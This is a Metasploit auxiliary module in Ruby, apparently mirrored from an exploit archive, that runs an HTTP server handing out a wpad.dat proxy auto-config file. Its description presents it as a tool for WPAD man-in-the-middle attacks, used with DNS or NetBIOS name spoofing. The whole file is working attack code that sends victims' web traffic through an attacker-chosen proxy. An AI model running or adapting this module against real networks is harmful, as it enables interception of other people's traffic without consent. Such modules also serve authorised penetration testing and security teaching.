## https://sploitus.com/exploit?id=PACKETSTORM:180749
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'WPAD.dat File Server',
'Description' => %q{
This module generates a valid wpad.dat file for WPAD mitm
attacks. Usually this module is used in combination with DNS attacks
or the 'NetBIOS Name Service Spoofer' module. Please remember as the
server will be running by default on TCP port 80 you will need the
required privileges to open that port.
},
'Author' =>
[
'et' # Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SRVPORT' => 80
},
'Passive' => true))
register_options(
[
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
OptPort.new('PROXYPORT',[ true, "Proxy port", 8080 ])
])
deregister_options('URIPATH')
end
def on_request_uri(cli, request)
vprint_status("Request '#{request.method} #{request.headers['user-agent']}")
return send_not_found(cli) if request.method == "POST"
html = <<-EOS
function FindProxyForURL(url, host) {
// URLs within this network are accessed directly
if (isInNet(host, "#{datastore['EXCLUDENETWORK']}", "#{datastore['EXCLUDENETMASK']}"))
{
return "DIRECT";
}
return "PROXY #{datastore['PROXY']}:#{datastore['PROXYPORT']}; DIRECT";
}
EOS
print_status("Sending WPAD config")
send_response_html(cli, html,
{
'Content-Type' => 'application/x-ns-proxy-autoconfig'
})
end
def resource_uri
"/wpad.dat"
end
def primer
hardcoded_uripath("/proxy.pac")
end
def run
# This should probably be added to the Http mixin's run method
begin
exploit
rescue Errno::EACCES => e
if e.message =~ /Permission denied - bind/
print_error("You need to have permission to bind to #{datastore['SRVPORT']}")
else
raise e
end
end
end
end